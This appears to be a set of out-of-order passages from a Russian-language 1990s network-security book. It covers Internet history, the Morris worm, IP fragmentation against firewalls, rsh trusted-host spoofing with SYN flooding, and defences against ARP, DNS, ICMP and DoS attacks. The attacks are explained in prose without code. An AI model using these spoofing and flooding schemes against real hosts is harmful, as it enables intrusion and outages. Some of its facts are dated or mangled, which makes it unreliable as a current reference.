В этом разделе мы перейдем к подробному рассмотрению не только самого известного случая нарушения безопасности Сети, но и самого крупного инцидента в области компьютерной безопасности вообще - вируса Морриса (Internet worm). Более того, он представлял собой не просто единичное вторжение в некоторый компьютер, а дал ответ на давний вопрос, могут ли не в абстрактных условиях существовать саморепродуцирующиеся программы (то, что теоретически это возможно, признавалось почти всеми). А подтвердив возможность создания такой программы, этот инцидент дал толчок к появлению целой отрасли компьютерной безопасности - компьютерной вирусологии (к тому времени уже существовали единичные вирусы и на персональных компьютерах - саморепродуцирующиеся в пределах одного компьютера).
Остается открытым (исходя, как мы увидим в дальнейшем, из существования схожих проблем безопасности UNIX и в наши дни) вопрос, почему же по сей день известен только один пример сетевого червя. Видимо, дело в том, что в странах с развитой компьютерной и сетевой инфраструктурой на сегодняшний день действует (во многом, кстати, вследствие вируса Морриса) очень жесткое законодательство против компьютерных преступлений такого рода (тем более, что написание червя не приносит никакой материальной выгоды - только сомнительную известность), а в странах, где подобные законы отсутствуют, отсутствует также и доступ широких кракерских масс к глобальным компьютерным сетям. Отсюда можно сделать вывод, что в ближайшем будущем, когда распространенность сетей достигнет необходимого уровня, нас ждут примеры новых сетевых червей, сделанных хакерами этих стран, и Россия здесь может занять одно из первых мест, учитывая, что за последние годы именно она давала наибольший процент мировых компьютерных вирусов.
К 1988 году интернет как глобальная сеть уже практически сформировался, и практически все услуги сегодняшнего дня (кроме WWW) использовались и тогда. С другой стороны, в хакерских и околохакерских кругах скопилось достаточно информации о брешах в системах безопасности и способах несанкционированного проникновения в удаленные компьютеры. Критическая масса была накоплена, и она не могла не взорваться.
Итак, в начале ноября 1988 г. Сеть была атакована так называемым сетевым червем, впоследствии получившим в русскоязычной литературе название "вирус Морриса" по имени его создателя - студента Корнельского университета Роберта Морриса-младшего. Сетевым червем называют разновидность компьютерных вирусов, имеющих способность к самораспространению в локальной или глобальной компьютерной сети. Для этого червь должен обладать несколькими специфическими процедурами:
нахождения новых целей для атаки;
собственно проникновения в них;
передачи своего кода на удаленную машину;
запуска (получения управления) на ней;
проверки на зараженность локальной или удаленной машины для ее повторного незаражения.
Правовые вопросы и последствия запуска червя рассматривались в главе 1, а теперь мы опишем подробно структуру, механизмы и алгоритмы, им применяемые. Было решено свободно распространять их, в отличие от исходных текстов, полученных в результате дизассемблирования. Однако по истечении 9 лет такое ограничение потеряло свою актуальность (воспользоваться сегодня ими все равно не удастся), и они могут быть найдены в интернете. Большинство материала этого раздела взято из [18, 19].
В последние годы борьба за мировое лидерство все заметнее смещается в область телекоммуникаций. По уровню информационной насыщенности экономической и общественной жизни впереди идут США. Этому способствуют мощь экономики, ее мобильность, постоянные инвестиции, приток в эту сферу деятельности ученых и бизнесменов. Кроме того, большую роль играет собственно американское государство, которое субсидирует многие приоритетные направления науки и промышленности.
Рис. 2.4. Экспоненциальный рост числа хостов в сети Internet.
Информатика и телекоммуникации позволяют не только кардинально преобразовывать экономику, но и, по взглядам американских специалистов, обеспечить экономико-финансовое и даже военно-стратегическое превосходство.
Свидетельством такого отношения США к информатике и телекоммуникациям служит подписанный 8 февраля 1996 года президентом Б. Клинтоном Закон о телекоммуникациях. В своей речи на церемонии подписания Клинтон сказал: "Сейчас информационная революция вновь переделывает наш мир, изменяя привычные методы работы, уклад жизни и даже наше отношение друг к другу" . Закон, в частности, предусматривает подключение к 2000 году всех американских школ, библиотек и больниц к Internet.
До середины 80-х годов Западная Европа шла вровень с США в области телекоммуникаций. В 1984 году были начаты различные долгосрочные проекты, в том числе и в области телекоммуникаций. Например, программа ESPRIT предназначена для создания европейского "информационного общества" ; часть этой программы посвящена исследованиям в области программного обеспечения и технологий мультимедиа. Програм-мы STAR, RACE и ACTS имеют связную направленность. Их цель заключается в создании паневропейской широкополосной сети общего доступа.
Последние годы в Японии наблюдается настоящий бум компьютерных сетей. В начале 1995 года при кабинете министров был учрежден "Центр содействия построению информационного общества" , который выполняет задачу выхода на первое место в мире по мультимедиа. Ведутся разработки новых технологий для "Японской информационной супермагистрали" .
В настоящее время около 60% пользователей Internet живет в США, 21% в Европе и 6% - в Японии. Численность подсоединенных к Internet хостов [3] растет по экспоненциальному закону, что иллюстрируется рис. 2.4.
Увеличивается число серверов, используемых не только для предоставления информации и рекламы, но и для осуществления торговых и финансовых операций. Разрабатываются и внедряются различные устройства мультимедиа, которые функционируют в Internet. В различных странах создаются свои "суперсети" для подключения к Сети сетей. Экономический форум ведущих стран в феврале 1997 года в Давосе проходил под девизом: "Создание сетевого общества в эпоху Internet" .
В 1994 году рынок телекоммуникаций в США составил порядка 15 миллиардов долларов, в том числе
(в миллиардах долларов): службы частных каналов - 9; оборудование локальных сетей и маршрутизаторов - 3; службы глобальных сетей - 1; службы электронных сообщений и новостей - 1; программное обеспечение и аппаратура - 1.
С середины 80-х годов внимание коммерческих кругов стал привлекать Internet как возможность устойчивого бизнеса на производстве оборудования для применения сети. NYSERNET (the New York State regional network) первой основала компанию Performance Systems International, которая и поныне является одним из наиболее удачливых провайдеров служб Internet. К наиболее сильным провайдерам относятся ALTERNET (возник-ший из UUNET), CERFNet (инициированная General Atomic в 1989 году), NEARNET (начавшая функционировать в Бостоне, а затем влившаяся в группу компаний предоставления служб BBN Planet, образовавшейся, кстати, из фирмы BBN - родоначальника IMP для Internet).
Одной из главных причин экспоненциального роста Internet явилось появление и развитие все новых услуг и возможностей для пользователей сети, особенно введение звука и видеоизображений, индексирования и различных поисковых служб. Многие из этих служб зародились в результате исследований университетов и научных центров. Примером могут служить Altavista, Lycos, Yahoo и Infoseek. Эти службы стимулировались появлением World Wide Web.
Разработанный в CERN, WWW был впервые опробован в 1989 году. В 1992 году он привлек внимание программистов из NCSA (National Centre for Supercompyting Applications) в университете Иллинойса. Эта команда разработала графический броузер для WWW, который получил название Mosaic. По согласованию с NCSA это программное обеспечение распространялось по Internet бесплатно. Возможность оформления многошрифтового гипертекста, включения цветной графики, звука и видеоизображений привело к громадному росту серверов WWW, число которых на май 1995 года составило около 30 000. Компании стали широко использовать Web как средство предложения своих продуктов и служб.
Винтон Кирф в своей статье [5] писал: "Рискованно предсказывать будущее чего-либо столь же динамичного, как Internet" . В этой статье он отметил основные направления развития Internet:
продолжение расширения новых служб;
появление новых услуг по пакетному видео, видеоконференциям, передаче голоса (пакетному телефону);
предложение средств обеспечения безопасности выполнения операций в Internet;
увеличение связи Internet с бизнесом.
Internet, по словам Кирфа, действительно является глобальной инфраструктурой для 21 столетия и, в то же время, является одним из наиболее мощных факторов свободы. Для нас подтверждением этого может служить факт передачи новостей во время путча 1991 года. Только благодаря Internet мир знал о происходящих событиях, и благодаря Internet эти новости доходили до нас.
И последний миф - это миф о системах Firewall как о "единственном надежном средстве обеспечения безопасности" сегмента IP-сети. Да, сама суть Firewall-ме-тодики является абсолютно непогрешимой и логичной. Основной ее постулат состоит в создании выделенного бастиона (bastion host), на который возлагается задача обеспечения контроля и безопасности в защищаемом сегменте сети и через который осуществляется связь данного сегмента с внешним миром. Но это все действует пока в теории. На практике же на сегодняшний день все известные нам системы Firewall неспособны к отражению большинства из описанных удаленных атак (как на протоколы и инфраструктуру сети, так и на телекоммуникационные службы)!
Это, конечно, отнюдь не означает, что отразить данные удаленные атаки принципиально невозможно. По-видимому, все дело в том, что большинство разработчиков систем Firewall, как это часто случается с разработчиками систем защиты ВС, никогда не были хакерами и смотрели на проблему защиты IP-сетей не с точки зрения взломщика, а с точки зрения пользователя.
Просматривая большое количество статей (главным образом, в электронных журналах) о проблемах компьютерного взлома, нельзя не обратить внимание на тот факт, что ни в одной статье не проводится та грань, которая, по нашему мнению, четко разделяет всех, так или иначе связанных с компьютерной безопасностью. В основном, мнение компьютерного мира по этому поводу либо сугубо негативное (хакеры - это преступники), либо - скромно-позитивное (хакеры - "санитары леса" ). На самом деле у этой проблемы существует по меньшей мере две стороны: положительная и отрицательная - и между ними проходит четкая граница. Эта граница разделяет всех профессионалов, связанных с информационной безопасностью, на хакеров (hackers) и кракеров (crackers). И те и другие во многом занимаются решением одних и тех же задач - поиском уязвимостей в вычислительных системах и осуществлением атак на данные системы ("взломом" ).
Самое главное и принципиальное различие между хакерами и кракерами состоит в целях, которые они преследуют. Основная задача хакера в том, чтобы, исследуя вычислительную систему, обнаружить слабые места (уязвимости) в ее системе безопасности и информировать пользователей и разработчиков системы с целью последующего устранения найденных уязвимостей. Другая задача хакера - проанализировав существующую безопасность вычислительной системы, сформулировать необходимые требования и условия повышения уровня ее защищенности.
С другой стороны, основная задача кракера состоит в непосредственном осуществлении взлома системы с целью получения несанкционированного доступа к чужой информации - иначе говоря, для ее кражи, подмены или для объявления факта взлома. Кракер, по своей сути, ничем не отличается от обычного вора, взламывающего чужие квартиры и крадущего чужие вещи. Он взламывает чужие вычислительные системы и крадет чужую информацию. Вот в чем состоит кардинальное различие между теми, кого можно назвать хакерами и кракерами: первые - исследователи компьютерной безопасности, вторые - просто взломщики, воры или вандалы. Хакер в данной терминологии - это специалист. В качестве доказательства приведем определение из словаря Guy L. Steele:
В настоящее время история Internet еще не написана, хотя уже появилось много заметок и отдельных статей. Все эти материалы находятся в самой Internet [1,2,3]; появились даже диссертации, посвященные ее истории [4]. Попробуем по годам рассмотреть основные события, которые имели отношение к Internet.
В 1962 году исследования ARPA по вопросам военного применения компьютерных технологий возглавил доктор Ликлайдер (J.C.R. Licklider), который предложил для этих целей использовать взаимодействие имеющихся государственных компьютеров. Он способствовал привлечению к этим работам частного сектора и университетских ученых. В этом же году появился отчет, выполненный Полем Бараном (Paul Baran) в корпорации RAND по заказу военно-воздушных сил, "On Distribution Communications" , в котором исследовались различные модели коммуникационных систем и оценивалась их живучесть. В отчете предлагалась децентрализованная система управления и связи, которая продолжала бы функционировать при выходе из строя части системы. Одна из рекомендаций автора касалась построения системы передачи цифровых данных для большого числа пользователей.
Вскоре основным направлением проводимых агентством исследований стали компьютерные сети. Главная идея состояла в построении сети из равноправных узлов, каждый из которых должен был иметь собственные блоки приема, обработки и формирования сообщений, что должно было обеспечить высокую живучесть сети даже при выходе из строя множества узлов. Первые эксперименты по объединению удаленных узлов были проведены уже в 1965 году, когда были соединены компьютеры TX-2 Массачусетского технологического института (MIT Lincoln Lab) и Q-32 корпорации SDC (System Development Corporation) в Санта-Монике. Правда, обмена пакетами между ними в это время еще не проводилось, обмен осуществлялся посимвольно.
В 1967 году на симпозиуме ACM (Association for Computer Machinery) был представлен план создания национальной сети с передачей пакетов. Вскоре после симпозиума Робертс (Lawrence G. Roberts) опубликовал план построения такой сети - ARPANET (Advanced Research Projects Agency NETwork), и уже в 1969 году министерство обороны утвердило ARPANET в качестве ведущей организации для исследований в области компьютерных сетей. Первым узлом новой сети стал UCLA - Центр испытаний сети, а вскоре к нему присоединились Станфордский исследовательский институт (SRI), UCSB - Culler-Fried Interactive Mathematics (университет Санта-Барбары) и университет Юта. На узлах использовались IMP (Interface Message Processor), разработанные корпорацией Bolt Bаranec & Newman, Inc (BBN). Были осуществлены первые передачи знаков из одних машин в другие. Появился первый RFC (Request for Comments) - "Host Software" С. Крокера (S. Crocker). В AT&T Lab была разработана операционная система UNIX. Этот год можно считать годом начала сетевой революции.
С 1970 года хосты ARPANET начали использовать для обмена NCP - Network Control Protocol.
В начале 1971 года в сети было уже 15 узлов: UCLA, SRI, UCSB, University of Utah, BBN, MIT, RAND, SDC, Harvard Lincoln Lab., Stanford, UIU(C), CWRI, CMU, NASA/A, объединивших 23 хоста. В этом же году Томлинсон (Ray Tomlinson) из BBN предложил почтовую программу для пересылки сообщений по сети. В университете Гавайи под руководством Н. Абрахамсона (N. Abrahamson) была разработана ALONAnet.
В 1972 году на международной конференции по компьютерам и связи было продемонстрировано взаимодействие TIP (Terminal Interface Processor) c 40 машинами сети. В этом же году была создана группа INWG (InterNetworking Working Group) под председательством профессора Станфордского университета Винтона Кирфа (Vinton Cerf) для разработки адресации, необходимой для согласования различных протоколов. Кирфом вместе с группой аспирантов была разработана группа протоколов обмена, которые позднее превратились в TCP/IP. "Знал бы я, что протокол TCP/IP станет международным промышленным стандартом, используемым миллионами людей, - отмечал В. Кирф в 1994 году, - я бы выбрал большее, чем 32 разряда, адресное пространство и внимательнее отнесся бы к высокоскоростным средам с длительной задержкой" [5]. Была опубликована спецификация Telnet (RFC 454). В этом году появилась первая коммерческая версия UNIX, написанная на Си. Успех UNIX превзошел все ожидания.
Первые международные подключения к ARPANET были осуществлены в 1973 году, когда к сети подключились машины из Англии (University College of London) и Норвегии (Rogee Radar Establishment). В этом же году была запущена спутниковая линия связи с Гавайским университетом. В сентябре 1973 года Кирф и Кац (Kahn) представили основные идеи национальной сети на совещании INWG в Англии и опубликовали статью
"A Protocol for Packet Network Intercommunications" , в которой были изложены детали проектирования программы управления передачей (Transmission Control Program). В середине 1975 года DARPA пришло к выводу, что ARPANET стабильна и управление Internet было передано DCA (Defence Communications Agency, ныне известное как DISA - Defence Information Systems Agency).
В 1976 году Майк Лиcк (Mike Lesk) из AT&T Bell Labs разработал протокол UUCP ( Unix-to-Unix Copy), и уже через год этот протокол стал поставляться вместе с ОС UNIX версии 7; версия UUCP Berkeley была реализована несколько позднее. Протоколами TCP/IP повсеместно стали пользоваться для подключения к ARPANET.
Данный отрезок времени характеризовался общим ростом числа различных сетей. В 1977 году появилась THEORYNET, разработанная Л. Ландвебером (L. Landweber) из Винсконсинского университета. В сети, объединявшей около 100 специалистов по вычислительной технике, применялась электронная почта и Telnet. Была опубликована спецификация электронной почты
(RFC 733). Тимшаре (Timshare) основал Tymnet. Состоялась демонстрация взаимодействия ARPANET, PRNET (Packet Radio Net), Ethernet и SATNET (Satellite Net-work) на базе протоколов Internet.
В 1979 году на базе UUCP была запущена USENET. Сеть PRNET перешла под эгиду DARPA.
ARPANET теперь фактически состояла из двух пересекающихся сетей. Одна являлась рабочей для исследователей ARPA, другая служила для тестирования и разработки.
В январе 1981 года в целях определения степени пригодности для министерства обороны предлагаемых различными разработчиками компьютерных систем был создан Центр компьютерной безопасности министерства обороны (DSC - Defence Security Center). Началась эксплуатация BITNET (Because It's Time NETwork) и CSNET.
В 1982 году DCA и ARPA установили в качестве основы построения сети Internet Protocol (IP) и Trans-mission Control Protocol (TCP).
Министерство обороны США 1 января 1983 года объявило TCP/IP своим стандартом. Было объявлено, что ARPANET закончила исследовательскую стадию, но продолжает оставаться под руководством DARPA и DCA. Введение разработанного в Висконсинском университете сервера имен более не требовало от пользователей знания цифрового адреса необходимой машины. В этом же году вся ARPANET была переведена с NCP на TCP/IP. Из состава ARPANET выделилась сеть MILNET (Military Network), предназначенная только для обмена военной информацией. Появились настольные рабочие станции c ОС Berkeley UNIX, которая включала программы IP-соединения. Была создана IAB (Internet Activities Board). Очередная версия ОС UNIX Berkeley release 4.2 BSD включала TCP/IP. Был введен в эксплуатацию шлюз между ARPANET и CSNET.
В 1984 году введена система DNS (Domain Name System). Общее число хостов в сети превысило 1 000.
В сентябре 1985 года DSC был переименован в Национальный центр компьютерной безопасности - NCSC (National Computer Security Center), который перешел под управление Агентства национальной безопасности - NSA (National Security Agency). Был создан NSF (National Science Foundation), цель которого состояла в построении сети CSNET (Computer Science Network) для объединения национальных компьютерных центров, многие из которых не имели доступа к ARPANET.
Работы по формированию CSNET усилились в 1986 году, когда началось создание центров суперкомпьютеров. В результате этого была создана сеть NSFNET с магистральной скоростью передачи данных - 56 Кбит/с. Сеть основывалась на 5 суперкомпьютерных центрах в Принстоне, Питсбурге, UCSD, NCSA и Корнельском университете. Это позволило существенно увеличить количество передаваемых данных между университетами. Был разработан и внедрен NNTP (Network News Transfer Protocol) для повышения производительности новостей Usenet.
Число хостов в 1987 году превысило 10 000. Число хостов BITNET достигло 1 000. Построением NSFNET стали заниматься консорциумы IBM, MCI и MERIT.
2 ноября 1988 года выпускник Корнельского университета Роберт Таппан Моррис запустил в сети свою программу, которая из-за ошибки начала бесконтрольное распространение и многократное инфицирование узлов сети. В результате было инфицировано около 6200 машин, что составило 7,3 % общей численности машин в сети. После анализа событий DARPA сформировала CERT (Computer Emergency Response Team). Сеть NSFNET перешла на магистральную скорость T1 (1,544 Мбит/с). К сети NSFNET подключились Дания, Исландия, Канада, Норвегия, Финляндия, Франция и Швеция.
В 1989 году число хостов превысило 100 000. Под эгидой IAB образованы IETF (Internet Engineering Task Force) и IRTF (Internet Research Task Force). К сети подключились Австралия, Великобритания, Германия, Израиль, Италия, Мексика, Нидерланды, Новая Зеландия, Пуэрто Рико и Япония.
В 1990 году собственно ARPANET прекратила свое существование, ее функции продолжала NSFNET. К сети подключились Австрия, Аргентина, Бельгия, Бразилия, Греция, Индия, Ирландия, Испания, Чили, Швейцария и Южная Корея.
В 1991 году в Майнском университете П. Линднер (Paul Lindner) и Марк МакКахил (Mark P. McCahill) разработали программу Gopher. В CERN (Centre European pour la Recherche Nucleare) Тим Бернес-Ли (Tim Berness-Lee) разработал World-Wide Web (WWW). Филипп Циммерман (Philip Zimmermen) реализовал PGP (Pretty Good Privacy). Сеть NFSNET стала использовать магистрали со скоростью T3 (44,736 Мбит/с). Трафик стал составлять 10 миллиардов пакетов в месяц, что составляло 1 триллион байт/месяц. К сети подключились Венгрия, Гонконг, Польша, Португалия, Сербия, Сингапур, Тайвань, Тунис, Чехия и Южная Африка.
Число хостов в 1992 году превысило 1 000 000. Служба IAB (Internet Activities Board) была реорганизована в Internet Architecture Board и стала частью общества Internet (Internet Society). К сети подключились Венесуэла, Камерун, Кипр, Кувейт, Латвия, Люксембург, Малайзия, Словакия, Словения, Таиланд, Эквадор и Эстония.
В 1993 году NSF создал InterNIC для реализации специфических служб Internet: службы директорий и баз данных, службы регистрации и информационной службы. К NSFNET подключились Вирджинские острова, Болгария, Гана, Гуам, Египет, Индонезия, Казахстан, Кения, Коста-Рика, Лихтенштейн, Объединенные Арабские Эмираты, Перу, Румыния, Турция, Украина, Фиджи и, наконец, Россия.
Начиная с 1994 года началась торговая деятельность через сеть. Трафик NSFNET превысил 10 триллионов байт/месяц. По популярности среди пользователей WWW обошла Telnet. К сети подключились Алжир, Армения, Бермудские острова, Буркина-Фасо, Ямайка, Ливан, Литва, Китай, Колумбия, Марокко, Масау, Нигер, Никарагуа, Новая Каледония, Панама, Свазиленд, Сенегал, Узбекистан, Уругвай, Филиппины, Шри-Ланка и Французская Полинезия.
С 1995 года регистрация доменных имен перестала быть бесплатной. Начиная с 14 сентября за регистрацию, которая до этого субсидировалась NSF, взимается плата в размере 50$. С апреля NSFNET, существовавшая только благодаря поддержке правительства, исчезла, и была установлена коммерческая система. Internet продолжил свое существование.
На 1 января 1996 года сеть объединяла 9 472 000 хостов.
Уже после того, как была написана эта глава, мы столкнулись с программой, которая более-менее удовлетворяет перечисленным требованиям к современному средству автоматизированной проверки безопасности хоста. По крайней мере, она регулярно обновляется. Она оригинально называется Internet Scaner SAFESuite и распространяется компанией Internet Security Systems (ISS - не путать с Internet Security Scaner) по адресу http://www.iss.net. Как вы уже догадались, эта программа не бесплатна, в отличие от SATAN, что в данном случае и неплохо - это несколько ограничит число потенциальных кракеров. Для запуска она требует ключ, пересылаемый вам при покупке пакета, а в оценочную (evaluation) версию включен ключ, который разрешит вам сканирование только своего собственного хоста.
Эта программа реализована под 6 платформ:
Windows NT,
HP/UX 9.x и 10.x,,
AIX 3.2.5 и 4.1,
Linux (ELF),
SunOS 4.1.3,
Solaris (SPARC) 2.x,
при этом любая из реализаций знает уязвимости и других платформ.
Функционально она состоит из трех частей: сканер файрвола, Web-сканер и сканер Intranet. При этом, как и в SATAN, пользователь настраивает уровень сканирования. При этом он имеет возможность редактировать следующие любопытные классы уязвимостей:
в NFS,
в RPC,
в Sendmail/FTP,
в X Windows,
IP Spoofing (включая возможность предсказания TCP-последовательности и атаки на r-службы),
отказ в обслуживании (различные способы),
наличие пользователей по умолчанию,
тестирование стандартных демонов и правильности их настроек,
правильность настроек файрвола,
наличие ошибок и правильность администрирования Web-сервера.
К сожалению, мы не успели проверить качество работы и адекватность тестирования этой программой, но, видимо, на сегодняшний день она является одной из лучших.
Как известно из описания протокола IP (RFC 791),максимальный размер IP-пакета может достигать 216-1 байт. Однако размер пакета (дейтаграм-мы), передаваемого непосредственно по каналу передачи, зависит от типа среды передачи. Например, в среде Ethernet максимальный размер дейтаграммы 1500 байт, в среде ATM - 56 байт. Поэтому для того, чтобы IP-пакеты могли передаваться по сетям любых типов, в протоколе IP предусмотрена фрагментация пакетов. То есть для передачи одного большого пакета он разбивается на соответствующее количество пакетов меньших размеров (их размер обуславливается максимальным размером пакета в соответствующей среде передачи). Этот процесс разбиения IP-пакета на части называется IP-фрагментацией. Применение в сети Internet фрагментации пакетов делает ее более гибкой и инвариантной по отношению к разнообразным физическим средам передачи. На рисунке 4.12 приведен формат IP-пакета версии IPv4.
Не будем вдаваться в подробности, что означает каждое поле в IP-заголовке (RFC 791), так как в данном случае нас будут интересовать только поля Fragment Offset и Flags. В поле Fragment Offset содержится значение, измеряемое восьмерками байт, обозначающее смещение фрагмента относительно начала дейтаграммы (именно на то, что оно измеряется в восьмерках байт, и не обратил внимание д-р F. B. Cohen в его статье "Packet Fragmentation Attacks" [28]). Таким образом, единица в этом поле означает смещение на 8 байт от начала дейтаграммы. Поле Flags показывает фрагментирован ли пакет или нет.
Итак, каков механизм предполагаемого воздействия? Как известно, одной из основных функций всех файрволов является фильтрация проходящего через них сетевого трафика. В случае фильтрации на сетевом уровне ограничивается возможность доступа к определенным службам защищаемых хостов. Тип службы, на которую направляется пакет, определяется параметром "порт назначения" в заголовке пакета TCP или UDP (рис 4.12). Поэтому файрвол анализирует этот параметр и проверяет его соответствие тем правилам фильтрации, которые на нем установлены. В случае соответствия правилам пакет пропускается дальше, в противном случае - отфильтровывается.
Рис. 4.12. Формат IP-пакета версии IPv4.
| 4-bit Version | 4-bit Header Length | 8-bit Type of Service | 16-bit Total Length |
| 16-bit Identification | 3-bit Flags | 13-bit Fragment Offset | |
| 8-bit Time to Live | 8-bit Protocol | 16-bit Header Checksum | |
| 32-bit Source Address | |||
| 32-bit Destination Address | |||
| Options &Padding | |||
| Data |
| 16-bit Source Port Number | 16-bit Destination Port Number | ||
| 32-bit Sequence Number | |||
| 32-bit Acknowledgement Number | |||
| 4-bit Header Length | 6-bit Reserved | 6-bit Flags | 16-bit Window Size |
| 16-bit TCP Checksum | 16-bit Urgent Pointer | ||
| Options & Padding | |||
| Data |
| 16-bit Source Port Number | 16-bit Destination Port Number |
| 16-bit Length | 16-bit Checksum |
| Data |
В ОС UNIX существует понятие: доверенный хост. Доверенным по отношению к данному хосту называется сетевой компьютер, доступ на который пользователю с данного хоста возможен без его аутентификации и идентификации с помощью r-службы (r - сокращение от анг. "remote" - удаленный). Обычно в ОС UNIX существует файл rhosts, в котором находится список имен и IP-адресов доверенных хостов. Для получения к ним удаленного доступа пользователю необходимо воспользоваться программами, входящими в r-службу (например, rlogin, rsh и т.д.). В этом случае при использовании r-программ с доверенного хоста пользователю для получения удаленного доступа не требуется проходить стандартную процедуру идентификации и аутентификации, заключающуюся в проверке его логического имени и пароля. Единственной аутентифицирующей пользователя информацией для r-службы является IP-адрес хоста, с которого пользователь осуществляет удаленный r-доступ (п. 8.2). Отметим, что все программы из r-службы реали-зованы на базе протокола TCP. Одной из программ, входящих в r-службу, является rsh, с помощью которой возможно осуществление данной атаки. Программа rsh (remoute shell) позволяет отдавать команды shell удаленному хосту. При этом (что чрезвычайно важно в данном случае!) для того, чтобы отдать команду, достаточно послать запрос, но необязательно получать на него ответ. При атаке на r-службу вся сложность для атакующего заключается в том, что ему необходимо послать пакет от имени доверенного хоста, то есть в качестве адреса отправителя необходимо указать IP-адрес доверенного хоста. Следовательно, ответный пакет будет отправлен именно на доверенный хост, а не на хост атакующего.
Схема удаленной атаки на rsh-сервер была впервые описана небезызвестным Р.Т. Моррисом-старшим в [27]. Она заключается в следующем (схема атаки изображена на рис 4.10).
Рис. 4.10. Подмена одного из участников TCP-соединения при атаке на rsh-сервер.
Рис. 4.10.1. X-Hacker посылает на Хост A серию TCP-запросов на создание соединения, заполняя тем самым очередь запросов, с целью вывести из строя на некоторое время Хост A.
В п. 4.1 рассматривалась атака, позволяющая кракеру при помощи программного прослушивания канала передачи сообщений в сети перехватывать любую информацию, которой обмениваются удаленные пользователи, если по каналу передаются только нешифрованные сообщения. Также в этом пункте было показано, что базовые прикладные протоколы удаленного доступа TELNET и FTP не предусматривают элементарную криптозащиту передаваемых по сети даже идентификаторов (имен) и аутентификаторов (паролей) пользователей. Поэтому администраторам сетей, очевидно, можно порекомендовать не допускать использование этих базовых протоколов для предоставления удаленного авторизованного доступа к ресурсам своих систем и считать анализ сетевого трафика той постоянно присутствующей угрозой, которую невозможно устранить, но можно сделать ее осуществление по сути бессмысленным, применяя стойкие криптоалгоритмы защиты IP-потока (п. 7.2.2.1).
Коротко напомним, что в п. 4.2 рассматривалась удаленная атака, использующая недостатки в механизме удаленного поиска на базе протокола ARP. В том случае, если у сетевой ОС отсутствует информация о соответствии IP- и Ethernet-адресов хостов внутри одного сегмента IP-сети, данный протокол позволяет посылать широковещательный ARP-запрос на поиск необходимого Ethernet-адреса, на который атакующий может прислать ложный ответ, и, в дальнейшем, весь трафик на канальном уровне окажется перехваченным атакующим и пройдет через ложный ARP-сервер. Очевидно, что для ликвидации данной атаки необходимо устранить причину, по которой возможно ее осуществление. Основная причина успеха данной удаленной атаки - отсутствие необходимой информации у ОС каждого хоста о соответствующих IP- и Ethernet-адресах всех остальных хостов внутри данного сегмента сети. Таким образом, самым простым решением будет создание сетевым администратором статической ARP-таблицы в виде файла (в ОС UNIX обычно /etc/ethers), куда необходимо внести соответствую-щую информацию об адресах. Данный файл устанавливается на каждый хост внутри сегмента, и, следовательно, у сетевой ОС отпадает необходимость в использовании удаленного ARP-поиска. Правда, отметим, что ОС Windows '95 это не помогает (4.2).
В 4 главе было наглядно показано, что использование в сети Internet службы DNS в ее нынешнем виде может позволить кракеру получить глобальный контроль над соединениями путем навязывания ложного маршрута через хост кракера - ложный DNS-сервер. Осуществление этой удаленной атаки, основанной на потенциальных уязвимостях службы DNS, может привести к катастрофическим последствиям для огромного числа пользователей Internet и стать причиной массового нарушения информационной безопасности данной глобальной сети (п. 4.3). В следующих двух пунктах предлагаются возможные административные методы по предотвращению или затруднению данной удаленной атаки для администраторов и пользователей сети и для администраторов DNS-серверов.
Как вы помните, в п. 4.4 рассматривалась удаленная атака, которая заключалась в передаче на хост ложного ICMP Redirect сообщения о смене исходного маршрута. Эта атака приводила как к перехвату атакующим информации, так и к нарушению работоспособности атакуемого хоста. Для того, чтобы защититься от данной удаленной атаки, необходимо либо фильтровать данное сообщение (используя Firewall или фильтрующий маршрутизатор), не допуская его попадания на конечную систему, либо соответствующим образом выбирать сетевую ОС, которая будет игнорировать это сообщение. Однако обычно не существует административных способов повлиять на сетевую ОС так, чтобы запретить ей изменять маршрут и реагировать на данное сообщение. Единственный способ, например, в случае ОС Linux или FreeBSD заключается в том, чтобы изменить исходные тексты и перекомпилировать ядро ОС. Очевидно, что такой экзотический для многих способ возможен только для свободно распространяемых вместе с исходными текстами операционных систем. Обычно на практике не существует иного способа узнать реакцию используемой у вас ОС на ICMP Redirect сообщение, как послать данное сообщение и посмотреть, каков будет результат. Эксперименты показали, что данное сообщение позволяет изменить маршрутизацию на ОС Linux 1.2.8, Windows '95 и Windows NT 4.0. Следует отметить, что (как это видно из 4 главы) продукты компании Microsoft не отличаются особой защищенностью от возможных удаленных атак, присущих IP-сетям. Следовательно, использовать данные ОС в защищенном сегменте IP-сети представляется нежелательным. Это и будет тем самым административным решением по защите сегмента сети от данной удаленной атаки.
Как не раз уже отмечалось, нет и не может быть приемлемых способов защиты от отказа в обслуживании в существующем стандарте IPv4 сети Internet (глава 5)! Это связано с тем, что в данном стандарте невозможен контроль за маршрутом сообщений. Поэтому невозможно обеспечить надежный контроль за сетевыми соединениями, так как у одного субъекта сетевого взаимодействия существует возможность занять неограниченное число каналов связи с удаленным объектом и при этом остаться анонимным (5.1.3). Из-за этого любой сервер в сети Internet может быть полностью парализован при помощи удаленной атаки, рассмотренной в п. 4.6.
Единственное, что можно предложить для повышения надежности работы системы, подвергаемой данной атаке, - это использовать как можно более мощные компьютеры. Чем больше число и частота работы процессоров, чем больше объем оперативной памяти, тем более надежной будет работа сетевой ОС, когда на нее обрушится направленный "шторм" ложных запросов на создание соединения. Кроме того, необходимо использование соответствующих вашим вычислительным мощностям операционных систем с внутренней очередью, способной вместить большое число запросов на подключение. Ведь от того, что вы, например, поставите на суперЭВМ операционную систему Linux или Windows NT, у которых длина очереди для одновременно обрабатываемых запросов около 10, а тайм-аут очистки очереди несколько минут, то, несмотря на все вычислительные мощности компьютера, ОС будет полностью парализована атакующим.
Общий вывод по противодействию данной атаки в существующем стандарте IPv4 следующий: просто расслабьтесь и надейтесь на то, что вы ни для кого не представляете интереса, или покупайте суперЭВМ с соответствующей ей сетевой ОС.
